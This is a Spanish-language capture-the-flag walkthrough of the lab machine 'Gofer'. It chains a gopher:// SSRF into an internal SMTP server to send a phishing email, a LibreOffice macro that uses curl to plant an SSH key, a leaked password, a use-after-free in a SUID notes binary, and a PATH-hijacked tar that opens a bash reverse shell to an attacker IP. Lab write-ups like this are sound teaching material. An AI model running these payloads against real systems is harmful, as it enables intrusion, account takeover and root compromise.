Gofer

Table of contents

  1. Enumeracion
    1. Enumeracion SMB
    2. Analisis del correo
    3. Fuzzing de directorios y subdominios
    4. Analisis proxy.gofer.htb
  2. SSRF access SMTP y flag de user
  3. Moviento laterial: jhudson –> tbuckley
  4. Escalada de privilegios (Use-After-Free + PATH hijacking)
    1. Codigo completo
    2. Path Hijacking

Enumeracion

Iniciamos con un escaneo de nmap con:

nmap -sS -n -Pn -T4 --open -p- 10.10.11.225
  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

Y nos reporto que hay varios puertos abiertos:

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Como curiosodad, es que si le quitamos el –open, nos saldra el puerto del SMTP, eso de debe a que nmap regularmente te puede reportar los puertos como abiertos, cerrados, y filtrados

25/tcp  filtered smtp

Ahora escanearemos para obtener mas informacion sobre la version y el servicio que estan corriendo bajo esos puertos:

nmap -sCV -p22,25,80,139,445 10.10.11.225
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to http://gofer.htb/
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-09-16T14:41:45
|_  start_date: N/A
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -12s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
  • SSH: No podemos hacer nada interesante
  • SMTP: Tampoco es de interes, aun
  • HTTP: Vemos usa apache como servidor web, ademeas que nos redirige a gofer.htb (hay que agregarlo al /etc/hosts)
  • SMB/NetBIOS: Vemos que uno de los scripts que lanzo nmap es _nbstat, nos dice que el nombre del dominio de NetBIOS es GOFER, tambien nos dice que esta firmado pero no es requerido, eso es un indicio de que podriamos hacer ataques NTML relay (SMB relay attack para SMB), no necesario en esta maquina

Enumeracion SMB

Usare crackmapexec haciendo uso de un null session par enumerar recursos compartidos por SMB:

crackmapexec smb gofer.htb -u '' -p '' --shares

Vemos que solo en el recurso shares tenemos permisos, y son de lectura

Me conectare con smbclient para explorar ese recurso, tambien pueden usar smbmap

smbclient //gofer.htb/shares -N

Lo unico que encontraremos es un directorios y un archivo con el nombre de mail

Haciendo uso de get mail lo descargamos

Analisis del correo

Veremos que es un correo que si lo traducimos al español seria:

Hola chicos

Nuestra querida Jocelyn recibió otro intento de phishing la semana pasada y su costumbre de hacer clic en los enlaces sin prestar mucha atención puede ser problemática algún día. Por eso, a partir de ahora, he decidido que los documentos importantes sólo se envíen internamente, por correo, lo que debería limitar mucho los riesgos. Si es posible, utilice un formato .odt, ya que los documentos guardados en Office Word no siempre son bien interpretados por Libreoffice.

PD: Una última cosa para Tom; sé que estás trabajando en nuestro proxy web, pero si pudieras restringir el acceso, sería más seguro hasta que lo hayas terminado. Me parece que debería ser posible hacerlo a través de <Limit>
  1. Nos dice que Jocelyn recibe correos phishing y les da click. En algunas maquinas se ha visto eso de que el usuario “interactua” con un enlace, etc, y pasan cosas tensas

  2. Tambien nos dice que los correos se utilizara el fomato .odt para cosas importantes

  3. Por ultimo nos dice que se usara un proxy web

Asi que tenemos una interaccion del usuario al dale clicks a enlaces, que los correos usan .odt para que los interprete LibreOficce

Extra: Solamente con ver el nombre de Gofer por todos lados hasta en el nombre de la maquina, me puedo dar una idea de que la maquina este usando el protocolo Gopher, y ese mismo protocolo se ha explotado en otras maquinas usando SSRF, asi que hay cosillas jiji

Si analizamos la parte de encabezados:

From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Nos dice que el correo fue enviado por jdavis para el destinatario tbuckley (posiblemente usuarios validos), en el received que basicamente es el servidor que envio o retransmitio el correo fue Postfix desde localhost

Fuzzing de directorios y subdominios

Podemos usar wffuzz para enumerar directorios mediante fuerza bruta:

wfuzz -u 'http://gofer.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404

Pero no encontraremos nada interesante, mas que puros assets, asi que probaremos con subdominios

wfuzz -u '10.10.11.225' -H 'Host: FUZZ.gofer.htb' -t 100 -w /usr/share/wordlists/subdomains-top1million-20000.txt --hw=290

Pero saldra puro 301, si pribamos con ffuf, descubriremos proxy.gofer.htb

ffuf -w /usr/share/wordlists/subdomains-top1million-110000.txt -H "Host: FUZZ.gofer.htb" -u http://gofer.htb/ -fl 10
* FUZZ: proxy

Analisis proxy.gofer.htb

Lo primero que tenemos al iniciar es una ventana como popup de un login, si probamos con contraseñas por defecto o intentar un SQLi, no va a ser posible

Interceptare la peticion por burp para ver mas a detalle:

GET / HTTP/1.1
Host: proxy.gofer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=

Solamente podemos ver que hace una peticion por GET y poco mas, como curiosidad, el encabezado de Auhorization nos dice que tipo de autenticacion que esta usando, en esta caso es HTTP Basic Authentication y la cadena en b64 son las credenciales que proporcione, y del lado de la respuesta solo es un 401.

Aqui se me ocurrio volver a hacer fuzzing de directorios pero en proxy.gofer.htb y no encontre nada

wfuzz -u 'http://proxy.gofer.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404

Etonces probe buscando por archivos con extensiones .php, pero tampoco encontre nada, asi que se me ocurrio en lugar de usar GET, usar POST para buscar archivos php

wfuzz -u 'http://proxy.gofer.htb/FUZZ.php' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404 -X POST

Y encontre un index.php

200        1 L      10 W       81 Ch       "index"

Volvi a interceptar la peticion con burp para anlizarla

Observa que de lado de la peticion que le puse el POST y en la respuesta sale HTTP/1.1 200 OK y en el contenido dice que falta el parametro URL: Missing URL parameter !, por intuicion, el nombre del parametro ya es un indicio de SSRF, ahora el URL le pasare la direccion de localhost y vean la respuesta

La peticion se realizo y en la respuesta tenemos que es el sitio web de gofer.htb pero ese sitio web esta internamente en la maquina (127.0.0.1), lo que nos abre una posibilidad a un SSRF

SSRF access SMTP y flag de user

SSRF: Server-side request forgery es una vulnerabilidad que permite a los atancantes realizar peticiones arbitrarias con el fin de acceder a servicios internos de la maquina.

Entonces, recapitulando desde el inicio, tenemos que Jocelyn hace click a los enlaces, un servicio SMTP interno, correos en formato .odt, el protocolo Gopher, un SSRF, y que en otras maquina se puede explotar el protocolo Gopher via SSRF. Si… Todo se esta uniendo jijiji

Para realizar peticiones con Gopher se hace de la siguiente manera: gopher://, asi que realizaremos la peticion de esta manera: /index.php?url=gopher://127.0.0.1

Observa como nos bloquea el 127, pero no es problema, TheHacker Recipes nos da unas formas de hacerle bypass

Si ahora realizamos la peticion de esta menera: /index.php?url=gopher://0x7f000001 ya no veremos que nos bloquea el 127, para hacer unas cuantas pruebas, podemos hacer uso de Gopherus, me guiare de HackTricks y de aca, pero tomando en cuenta que los correos los envia jdavis (jdavis@gofer.htb) y los recibe Jocelyn (jhudson@gofer.htb)

El payload es:

gopher://0x7f000001:25/_HELO gofer.htb%0AMAIL FROM: <jdavis@gofer.htb>%0ARCPT TO: <jhudson@gofer.htb>%0ADATA%0ASubject: <a http://10.10.14.59:8086/prueba> SSRF HERE%0ASSRF AND SMTP%0A.

Y lo que estaria pasando es que mediante el SSRF estamos accediendo al servicio interno de SMTP para enviar un correo a la Jocelyn, y como sabemos que la Jocelyn da click en los enlaces, en el Subject agregamos nuestra IP con un archivo de /prueba que sera solicitado.

Y observa como nos llego una peticion que viene de la maquina hacía el recurso /prueba

Y ahora la pregunta es: ¿Como conseguimos una reverse shell? o ¿Como conseguimos RCE?, pues en el correo que vimos al principio, decia que los correos importantes se deberian de enviar con formato .odt, osea el formato por defecto de libreoffice, y ese archivo seria interpretado, pues bien, lo que podemos hacer es que crear un archivo .odt con una macro, la cual nos establezca una conexion al abrir el .odt

Para crear un .odt malicioso pueden guiarse de aqui: https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html

En mi caso creare esta macro ya que el tipico oneliner de bash no me funciono, muchas gracias a xD4nt3 por la ayuda con la macro:

Sub Main
    Shell("curl <tu_ip>:8086/id_rsa.pub -o /home/jhudson/.ssh/authorized_keys")
End Sub

Simplemente modificamos el exploit que usamos anteriormente y en lugar de que se solicité /prueba, se solicitará ese .odt malicioso (/shell.odt, por ejemplo)

Pasando un momento, nos llegara una peticion a nuestro servidor web de python solicitando el archivo .odt, y ahora ya podemos acceder como jhudson por SSH, por que nuestro id_rsa.pub se hizo el authorized_keys de jhudson

Moviento laterial: jhudson –> tbuckley

Podriamos a empezar a enumerar por binarios SUID, permisos de nivel de sudoers, capabilities, etc, etc, pero no va por ahi, en este punto decidi usar pspy64 para ver si hay algun proceso interesante, asi que me pase el binario a la maquina victima

python3 -m http.server 8086 --> maquina atacante
wget <tu_IP>:8086/pspy64 --> maquina victima

Viendo los resultados, nos damos cuenta que hay un proceso de un script que envia una peticion con curl a proxy.gofer.htb y hay unas credenciales

usr: tbuckley

pass: ooP4dietie3o_hquaeti

Si las probamos por SSH, son validas

Y ya somos tbuckley

Escalada de privilegios (Use-After-Free + PATH hijacking)

Si buscamos por binarios SUID, encontraremos uno que se llama notes:

find / -perm -u=s -type f 2>/dev/null

Si vemos el tipo de archivo, nos sale que es un binario ELF, asi que me lo pasare a mi maquina para anlizarlo con ghidra:

Codigo completo

void main(void)

{
  __uid_t _Var1;
  int iVar2;
  undefined4 local_1c;
  void *local_18;
  void *local_10;
  
  local_1c = 0;
  local_10 = (void *)0x0;
  local_18 = (void *)0x0;
  do {
    puts(
        "========================================\n1) Create an user and choose an username\n2) Show  user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n"
        );
    printf("Your choice: ");
    __isoc99_scanf(&DAT_0010212b,&local_1c);
    puts("");
    switch(local_1c) {
    default:
                    /* WARNING: Subroutine does not return */
      exit(0);
    case 1:
      local_10 = malloc(0x28);
      if (local_10 == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      memset(local_10,0,0x18);
      memset((void *)((long)local_10 + 0x18),0,0x10);
      _Var1 = getuid();
      if (_Var1 == 0) {
        *(undefined4 *)((long)local_10 + 0x18) = 0x696d6461;
        *(undefined *)((long)local_10 + 0x1c) = 0x6e;
      }
      else {
        *(undefined4 *)((long)local_10 + 0x18) = 0x72657375;
      }
      printf("Choose an username: ");
      __isoc99_scanf(&DAT_00102144,local_10);
      puts("");
      break;
    case 2:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        printf("\nUsername: %s\n",local_10);
        printf("Role: %s\n\n",(long)local_10 + 0x18);
      }
      break;
    case 3:
      if (local_10 != (void *)0x0) {
        free(local_10);
      }
      break;
    case 4:
      local_18 = malloc(0x28);
      memset(local_18,0,0x28);
      if (local_18 == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      puts("Write your note:");
      __isoc99_scanf(&DAT_0010218b,local_18);
      break;
    case 5:
      printf("Note: %s\n\n",local_18);
      break;
    case 6:
      puts("Coming soon!\n");
      break;
    case 7:
      if (local_18 != (void *)0x0) {
        free(local_18);
        local_18 = (void *)0x0;
      }
      break;
    case 8:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
        if (iVar2 == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the admin role!\n");
        }
      }
    }
  } while( true );
}

Vemos que tenemos un case de 8, en el caso 1, tenemos que se asignan 0x28 bytes usando malloc: local_10 = malloc(0x28) que se almacenan en local_10

Problema 1:

Observa el case 3 el uso de free:

case 3:
    if (local_10 != (void *)0x0) {
        free(local_10);
    }
break;

Primero se valida que local_10 no tenga 0, y en caso de que no, osea que tenga memoria asignada, hace un free de local_10 y entonces ese chunk se marca como libre para otras asignaciones, el problema es que no hace nada mas, osea que local_10 no se restablece para que apunte de NULL, y entonces local_10 aun apunta a ese chunk

  • Problema 2:
case 4:
    local_18 = malloc(0x28);
    memset(local_18,0,0x28);
    if (local_18 == (void *)0x0) {
        exit(-1);
    }

En el case 4 se asigna otro chunk y lo guarda en local_18, pero debido a lo analizado en el problema 1, en realidad local_10 y local_18 apuntarian al mismo chunk, asi nosotros podriamos escribir tantos byes para sobreescribir local_10

  • Case 8:

Una vez que sabemo que podemos sobreescribir local_10, hay que buscar una forma de hacernos admin para ejectuar esta funcion:

case 8:
    if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
    }
    else {
        iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
        if (iVar2 == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the admin role!\n");
        }
    }

Vemos que compara (char *)((long)local_10 + 0x18), esto es el resultado de calcular lo que se encuentra en local_10 mas 0x18 bytes (24) y lo compara con admin y en caso que se la comparacion sea correcta, se establece un setgid(0); para el proceso actual

¿Entonces comos hacemos admin

  1. Primero creamos un usuario con la opcion 1, esto creara un chunk
  2. Despues liberamos al usuario con la opcion 3, esto hara que local_10 aun apunte a ese chunk por que no se restablecio con NULL
  3. Seleccionamos la opcion 4 y crearemos una nota de 24 bytes mas la palabra admin, esto hara que se sobreescriba loca_10 y ahora el usuario sea admin

Si hicimos todo bien, veran como ya somos admin

Path Hijacking

Como ya somos admin, ya podemos ejecutar el case 8, y observa que en ese case hace uso de system para mandar a llamar a tar, pero lo esta haciendo desde una ruta relativa, asi que nosotros podemos crear un archivo con ese mismo nombre y que ejecute otro comando, en mi caso me ire al directorio tmp y creare un archivo con el nombre de tar con el tipico oneliner de bash

bash -c "sh -i >& /dev/tcp/<tu_ip>/443 0>&1"

Despues exportare tmp al PATH: export PATH=/tmp:$PATH

Y por ultimo me pondre en escucha desde otra terminal y volvere a ejecutar el binario notes para hacerme admin y ejecutar el case 8

Oberva como nos llego una shell como root y del lado derecho nos dice Acess granted:

No hacia falta mandarnos un rev shell, simplemente puden darle permisos SUID la bash, asi:

#!/bin/bash
chmod u+s /bin/bash

Y despues ejectuar un bash -p

Eso ha sido todo, gracias por leer ❤